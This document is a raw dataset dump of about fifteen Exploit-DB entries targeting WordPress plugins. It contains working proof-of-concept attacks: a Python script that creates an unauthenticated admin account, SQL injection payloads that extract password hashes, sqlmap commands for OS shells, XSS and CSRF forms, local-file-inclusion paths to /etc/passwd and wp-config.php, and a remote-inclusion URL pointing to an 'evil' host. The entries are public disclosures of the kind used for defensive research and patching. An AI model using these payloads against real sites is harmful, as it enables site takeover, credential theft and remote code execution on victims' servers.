deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48534
Description: WordPress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation
Type: webapps
Platform: php
Date: 2020-06-01
Author: Raphael Karger

Exploit:
# Exploit Title: Wordpress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation
# Date: 2020-05-29
# Exploit Author: Raphael Karger
# Software Link: https://codex.bbpress.org/releases/
# Version: BBPress < 2.5
# CVE: CVE-2020-13693

import argparse
import requests
import bs4
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
useragent = {"User-Agent" : "This is a real browser i swear"}

def grab_nonce_login_page(url):
    try:
        login_page_request = requests.get(url, verify=False, timeout=10, headers=useragent)
        soup = bs4.BeautifulSoup(login_page_request.text, "lxml")
        action = soup.find("form", class_="bbp-login-form")
        wp_login_page = action.get("action")
        wp_nonce = action.find("input", id="_wpnonce").get("value")
        return (wp_nonce, wp_login_page)
    except Exception as nonce_error:
        print("[-] Nonce Error: '{}'".format(nonce_error))
    return False

def exploit(url, username, password, email):
    info = grab_nonce_login_page(url)
    if info:
        nonce = info[0]
        login_page = info[1]
        try:
            return requests.post(login_page, data={
                "user_login" : username,
                "user_pass" : password,
                "user_email" : email,
                "user-submit" : "",
                "user-cookie" : "1",
                "_wpnonce" : nonce,
                "bbp-forums-role" : "bbp_keymaster"
            }, allow_redirects=False, verify=False, timeout=10, headers=useragent)
        except Exception as e:
            print("[-] Error Making Signup Post Request: '{}'".format(e))
    return False

if __name__ == "__main__":
    exit("asdasd")
    parser = argparse.ArgumentParser()
    parser.add_argument("-n", "--username", dest="username", help="Username of Newly Created Keymaster", default="raphaelrocks")
    parser.add_argument("-p", "--password", dest="password", help="Password of Newly Created Keymaster", default="raphael123")
    parser.add_argument("-e", "--email", dest="email", help="Email of Newly Created Keymaster", default="test@example.com")
    parser.add_argument("-u", "--url", dest="url", help="URL of Page With Exposed Register Page.", required=True)
    args = parser.parse_args()
    site_exploit = exploit(args.url, args.username, args.password, args.email)
    if site_exploit and site_exploit.status_code == 302:
        exit("[+] Exploit Successful, Use Username: '{}' and Password: '{}'".format(args.username, args.password))
    print("[-] Exploit Failed")
Exploit-DB #40782
Description: WordPress Plugin BBS e-Franchise 1.1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2016-11-12
Author: Lenon Leite

Exploit:
# Exploit Title: BBS e-Franchise 1.1.1 Plugin of WordPress – Sql Injection
# Date: 12/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/bbs-e-franchise/
# Software Link: https://wordpress.org/plugins/bbs-e-franchise/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.1.1
# Tested on: Windows 8.1

1 - Description:

$_GET[‘uid’] is not escaped. Url is accessible for any user.
I will have find post or page that usage plugin, that use shortcode

http://lenonleite.com.br/en/blog/2016/11/18/bbs-e-franchise-1-1-1-plugin-of-wordpress-sql-injection/


2 - Proof of Concept:

http://target/2016/09/26/ola-mundo-2/?uid=0+UNION+SELECT+1,2,3,4,name,6,7,8,9,10,11,12,13,14,15,slug,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+FROM+wp_terms+WHERE+term_id=1


3 - Timeline:
12/11/2016 - Discovered
12/11/2016 - vendor not found
Exploit-DB #17453
Description: WordPress Plugin Beer Recipes 1.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-06-26
Author: TheUzuki.'

Exploit:
# Exploit Title: Wordpress - Beer Recipes v.1.0 XSS
# Google Dork: -
# Date: June / 25 / 2011
# Author: TheUzuki.'
# Software Link: http://opensourcebrew.org/beer-recipes-plugin/
# Version: v.1.0
# Tested on: Windows 7
# CVE : -

####################################################################
# SIESTTA 2.0 (LFI/XSS) Multiple Vulnerabilities
# download: http://opensourcebrew.org/beer-recipes-plugin/
#
# Author: TheUzuki.' from HF
# mail: uzuki[@]live[dot]de
#
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
#
# Notes: You need to be User at the Wordpress Board
#
####################################################################

--Description of Wordpress Plugin--

Creates a custom post type for easily entering beer recipes into WordPress

--Exploit--

By Commenting a Beer Recip, with a javascript, the Javascripts,gets executed directly.
This causes a XSS.

--PoC--

<script>alert(document.cookie)</script>
Exploit-DB #39547
Description: WordPress Plugin Best Web Soft Captcha 4.1.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-03-10
Author: Colette Chamberland

Exploit:
* Exploit Title: BWS Captcha Multiple Vulnerabilities
* Discovery Date:12.03.2015
* Public Disclosure Date:03.10.2016
* Exploit Author: Colette Chamberland
* Contact: colette@wordfence.com
* Vendor Homepage: http://bestwebsoft.com/
* Software Link: https://wordpress.org/plugins/captcha/
* Version:  <=4.1.5
* Tested on: Wordpress 4.2.x
* Category: Wordpress
* CVE: Requested but none received
 
Description
================================================================================
Unsanitized input in whitelist.php:

297: $message = __( 'Search results for', $this->textdomain ) . '&nbsp;:&nbsp;' . $_REQUEST['s'];

 
PoC
================================================================================
The variable can be passed in using a get as well as a post. An attacker
could send unsuspecting authenticated admin a url crafted like such:

http://wwww.victim.com/wp-admin/admin.php?page=captcha.php&action=whitelist&s=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E

or they can send a form (no CSRF token check)

<form method="post" action="http://victim.com/wp-admin/admin.php?page=captcha.php&action=whitelist">
<input type="hidden" name="s" value="<script>alert(1);</script>">
<input type="submit" name="Search IP" value="Click here to claim your prize!">
</form>

and it would execute XSS as long as they were logged in to the site.
Exploit-DB #35286
Description: WordPress Plugin BezahlCode Generator 1.0 - 'gen_name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-25
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46005/info

The BezahlCode Generator Plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

BezahlCode Generator Plugin 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/bezahlcode-generator/der_generator.php?gen_name=%22%3E%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #50925
Description: WordPress Plugin Blue Admin 21.06.01 - Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: php
Date: 2022-05-11
Author: Abisheik M

Exploit:
Exploit Title: WordPress Plugin Blue Admin 21.06.01 - Cross-Site Request Forgery (CSRF)
Date: 2021-07-27
Exploit Author : WordPress Plugin Blue Admin 21.06.01 - Cross-Site Request Forgery (CSRF)
Vendor Homepage : https://wpscan.com/plugin/blue-admi
Version : <= 21.06.01
Tested on: windows 10 Professional
CVE : CVE-2021-24581

<html>
  <body>
    <form action="http://example.com/wp-admin/admin.php?page=blue-admin&tab=blue_admin_login_page" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="ba_lp_attr[fm_bg_color]" value="FFFFFF" />
      <input type="hidden" name="ba_lp_attr[fm_color]" value="777777" />
      <input type="hidden" name="ba_lp_attr[logo_text]" value='WP"><script>alert(/XSS/)</script>' />
      <input type="hidden" name="ba_lp_attr[logo_url]" value="https://example.com" />
      <input type="hidden" name="ba_lp_attr[logo_img]" value="" />
      <input type="hidden" name="ba_lp_attr[bg_color]" value="EEEEEE" />
      <input type="hidden" name="ba_lp_attr[text_color]" value="222222" />
      <input type="hidden" name="ba_lp_attr[bg_img]" value="" />
      <input type="hidden" name="ba_lp_attr[bg_img_pos]" value="" />
      <input type="hidden" name="ba_lp_attr[bg_img_rep]" value="" />
      <input type="hidden" name="ba_lp_options_save" value="Save changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #38844
Description: WordPress Plugin Blue Wrench Video Widget - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-11-23
Author: Haider Mahmood

Exploit:
source: https://www.securityfocus.com/bid/63800/info

The Blue Wrench Video Widget plugin for WordPress is prone to a cross-site request-forgery vulnerability.

An attacker can exploit the cross-site request forgery issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

Blue Wrench Video Widget 1.0.2 is vulnerable; other versions may also be affected. 

<form id=.upload-form. 
action=.http://www.example1.com/wordpress/wp-admin/admin.php?page=bw-videos. 
method=.post.>
<table class=.form-table.>
<tbody>
<tr valign=.top.>
<th scope=.row.>Title</th>
<td><input id=.bw_title. type=.text. maxlength=.75. name=.bw_title. 
size=.70. value=.http://www.example2.com/code/evil.js. />
</tr>
<tr valign=.top .>
<th scope=.row.>URL</th>
<td><input id=.bw_url. type=.text. maxlength=.75. name=.bw_url. 
size=.70. value=.http://www.example2.com/code/evil.js. />
</td>
</tr>
</tbody>
</table>
</form>
Exploit-DB #40189
Description: WordPress Plugin Booking Calendar 6.2 - SQL Injection
Type: webapps
Platform: php
Date: 2016-08-01
Author: Edwin Molenaar

Exploit:
SQL injection vulnerability in Booking Calendar WordPress Plugin

Abstract

An SQL injection vulnerability exists in the Booking Calendar WordPress plugin. This vulnerability allows an attacker to view data from the database. The affected parameter is not properly sanitized or protected with an anti-Cross-Site Request Forgery token. Consequently, it can (also be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID
OVE-20[PII_REDACTED]

Tested versions

These issues were successfully tested on Booking Calendar WordPress Plugin version 6.2.

Fix

This issue is resolved in Booking Calendar version 6.2.1.

Introduction

The Booking Calendar WordPress Plugin is a booking system for online reservation and availability checking service for your site. An SQL injection vulnerability exists in the Booking Calendar WordPress plugin. This vulnerability allows an attacker to view data from the database. The affected parameter is not properly sanitized or protected with an anti-Cross-Site Request Forgery token. Consequently, it can (also be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).

Details

This was discovered by the using the filter by Booking ID field. Because a WordPress user with the 'Editor' role can also use the Booking plugin, Editors can also access the vulnerable parameter. This allows these users to view all data from the database. The vulnerability exists in the wpdev_get_args_from_request_in_bk_listing() function from booking/lib/wpdev-bk-lib.php (line 709).

Proof of concept

The following proof of concept will show the hashed password from the first user.

<html>
   <body>
      <form action="http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking&wh_approved&wh_is_new=1&wh_booking_date=3&view_mode=vm_listing" method="POST">
         <input type="hidden" name="wh&#95;booking&#95;id" value="3 AND (SELECT 5283 FROM(SELECT COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT MID((IFNULL(CAST(user_pass AS CHAR),0x20)),1,54) FROM wordpress.wp_users ORDER BY ID LIMIT 0,1),0x717a787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>
Exploit-DB #46377
Description: WordPress Plugin Booking Calendar 8.4.3 - (Authenticated) SQL Injection
Type: webapps
Platform: php
Date: 2019-02-14
Author: B0UG

Exploit:
# Exploit Title: Wordpress Booking Calendar v8.4.3 - Authenticated SQL Injection Vulnerability
# Date: 2018-12-28
# Exploit Author: B0UG
# Vendor Homepage: https://wpbookingcalendar.com/
# Software Link: https://wordpress.org/plugins/booking/
# Version: Tested on version 8.4.3 (older versions may also be affected)
# Tested on: WordPress
# Category : Webapps
# CVE: CVE-2018-20556

#I. VULNERABILITY

Authenticated SQL Injection
 
#II. BACKGROUND
'Booking Calendar' WordPress plugin developed by oplugins is a booking system which allows website visitors to check the availability of services and make reservations.

#III. DESCRIPTION
An authenticated SQL Injection vulnerability in the 'Booking Calendar' WordPress plugin allows an attacker to read arbitrary data from the database. 

#IV. PROOF OF CONCEPT
1) Access WordPress control panel.
2) Navigate to the Booking Calendar plugin page.
3) Set up Burp Suite to capture the traffic.
4) Select one of the booking entries and click on the 'Trash Can' button to delete the entry.
5) Within Burp Suite, analyse the POST request and idenitfy the parameter 'booking_id'.
6) The 'booking_id' parameter is vulnerable to the following different types of SQL injection: 
• Boolean based blind injection
• Error based injection
• Time based injection

7) We can perform a time based SQL injection by appending   ) AND SLEEP(100) AND (1=1   after the ID value in the parameter as shown below.
action=TRASH_RESTORE&booking_id=573) AND SLEEP(100) AND (1=1&is_send_emeils=1&denyreason=&user_id=1&wpdev_active_locale=en_US&is_trash=1&wpbc_nonce=99c5ffaa67

Obtaining a shell using sqlmap
-----------------------
• Obtain a SQL Shell
Sqlmap –r post-request.txt –p booking_id --sql-shell

• Obtain a Linux Shell
Sqlmap –r post-request.txt –p booking_id --os-shell

• Obtain a Windows Command Prompt
Sqlmap –r post-request.txt –p booking_id --os-cmd

#V. IMPACT
The vulnerability allows an attacker to read arbitrary data from the database. It is possible to get a remote shell from this vulnerability.
 
#VI. SYSTEMS AFFECTED
WordPress websites running 'Booking Calendar' WordPress plugin version 8.4.3 (older versions may also be affected).
 
#VII. REMEDIATION
Uninstall the plugin until the vulnerability has been fixed by the developer.

#VIII. DISCLOSURE TIMELINE
#December 28, 2018 1: Vulnerability identified.
#December 28, 2018 2: Informed developer of the vulnerability.
#February 14, 2019 3: No communication received back from the developer.
Exploit-DB #39319
Description: WordPress Plugin Booking Calendar Contact Form 1.1.23 - Shortcode SQL Injection
Type: webapps
Platform: php
Date: 2016-01-26
Author: i0akiN SEC-LABORATORY

Exploit:
# Exploit Title: WordPress appointment-booking-calendar <=1.1.23 - Shortcode SQL injection
# Date: 2016-01-24
# Google Dork: Index of /wordpress/wp-content/plugins/appointment-booking-calendar/
# Exploit Author: Joaquin Ramirez Martinez [i0 security-lab]
# Software Link: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form
# Vendor: CodePeople.net
# Vebdor URI: http://codepeople.net
# Version: 1.1.23
# OWASP Top10: A1-Injection
# Tested on: windows 10 + firefox + sqlmap 1.0.

===================
PRODUCT DESCRIPTION
===================
"Appointment Booking Calendar is a plugin for **accepting online bookings** from a set of **available time-slots in 
a calendar**. The booking form is linked to a **PayPal** payment process.

You can use it to accept bookings for medical consultation, classrooms, events, transportation and other activities
where a specific time from a defined set must be selected, allowing you to define the maximum number of bookings 
that can be accepted for each time-slot."

(copy of readme file)


======================
EXPLOITATION TECHNIQUE
======================
remote

==============
SEVERITY LEVEL
==============

critical

================================
TECHNICAL DETAILS && DESCRIPTION
================================

A SQL injection flaw was discovered within the latest WordPress appointment-booking-calendar plugin version 1.1.20.

The flaw was found in the function to run when a shortcode is found within a page in the wordpress site.
The function mentioned use unsanitized attributes and a user authenticated as a editor, autor or 
administrator (compromised) can exploit this vulnerability by adding crafted shortcodes on a page or post.

The security risk of SQL injection vulnerabilities are extremely because by using this type of flaw, 
an attacker can compromise the entire web server.

================
PROOF OF CONCEPT
================

An attacker(editor, autor or administrator) can embed into a post the following shortcode...

[CPABC_APPOINTMENT_LIST calendar="-1 or sleep(10)#"]

... and the post will take ten seconds loading.

==========
 CREDITS
==========

Vulnerability discovered by:
	Joaquin Ramirez Martinez [i0 security-lab]
	strparser[at]gmail[dot]com
	https://www.facebook.com/I0-security-lab[PII_REDACTED]88147/
	https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q


========
TIMELINE
========

2016-01-08 vulnerability discovered
2016-01-24 reported to vendor
2016-01-25 released appointment-booking-calendar 1.1.24
2016-01-26 full disclosure
Exploit-DB #39197
Description: WordPress Plugin Booking System (Booking Calendar) - 'booking_form_id' SQL Injection
Type: webapps
Platform: php
Date: 2014-05-21
Author: maodun

Exploit:
source: https://www.securityfocus.com/bid/67535/info

Search Everything plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Booking System (Booking Calendar) 1.3 are vulnerable. 

www.example.com/wp/wp-admin/admin-ajax.php?action=dopbs_show_booking_form_fields&booking_form_id=[SQLi]
Exploit-DB #39251
Description: WordPress Plugin BookX 1.7 - 'bookx_export.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2014-05-28
Author: Anant Shrivastava

Exploit:
source: https://www.securityfocus.com/bid/68556/info

BookX plugin for WordPress is prone to a local file-include vulnerability because it fails to adequately validate user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information; other attacks are also possible.

BookX plugin 1.7 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/bookx/includes/bookx_export.php?file=../../../../../../../../etc/passwd

http://www.example.com/wp-content/plugins/bookx/includes/bookx_export.php?file=../../../../wp-config.php
Exploit-DB #39591
Description: WordPress Plugin Brandfolder 3.0 - Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2016-03-22
Author: AMAR^SHG

Exploit:
# Exploit Title: Wordpress brandfolder plugin / RFI & LFI
# Google Dork: inurl:wp-content/plugins/brandfolder
# Date: 03/22/2016
# Exploit Author: AMAR^SHG
# Vendor Homepage: https://brandfolder.com
# Software Link: https://wordpress.org/plugins/brandfolder/
# Version: <=3.0
# Tested on: WAMP / Windows

I-Details
The vulnerability occurs at the first lines of the file callback.php:

<?php
  ini_set('display_errors',1);
  ini_set('display_startup_errors',1);
  error_reporting(-1);

  require_once($_REQUEST['wp_abspath']  . 'wp-load.php');
  require_once($_REQUEST['wp_abspath']  . 'wp-admin/includes/media.php');
  require_once($_REQUEST['wp_abspath']  . 'wp-admin/includes/file.php');
  require_once($_REQUEST['wp_abspath']  . 'wp-admin/includes/image.php');
  require_once($_REQUEST['wp_abspath']  . 'wp-admin/includes/post.php');

$_REQUEST is based on the user input, so as you can guess,
an attacker can depending on the context, host on a malicious server
a file called wp-load.php, and disable its execution using an htaccess, or
abuse the null byte character ( %00, %2500 url-encoded)

II-Proof of concept
http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=LFI/RFI
http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=../../../wp-config.php%00
http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=http://evil/

Discovered by AMAR^SHG (aka kuroi'sh).
Greetings to RxR & Nofawkx Al & HolaKo
Exploit-DB #39240
Description: WordPress Plugin BSK PDF Manager - '/wp-admin/admin.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2014-07-09
Author: Claudio Viviani

Exploit:
source: https://www.securityfocus.com/bid/68488/info

BSK PDF Manager plugin for WordPress is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

BSK PDF Manager 1.3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=bsk-pdf-manager-pdfs&view=edit&pdfid=1 and 1=2

http://www.example.com/wp-admin/admin.php?page=bsk-pdf-manager&view=edit&categoryid=1 and 1=2
Exploit-DB #35971
Description: WordPress Plugin bSuite 4.0.7 - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2011-07-11
Author: IHTeam

Exploit:
source: https://www.securityfocus.com/bid/48714/info

The bSuite plug-in for WordPress is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code could be executed in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks may also be possible.

bSuite versions 4.0.7 and prior are vulnerable. 


The following example URIs are available:

http://www.example.com/wordpress/?s=<h2>XSSED</h2>

http://www.example.com/wordpress/?p=1&<h1>XSSED</h1>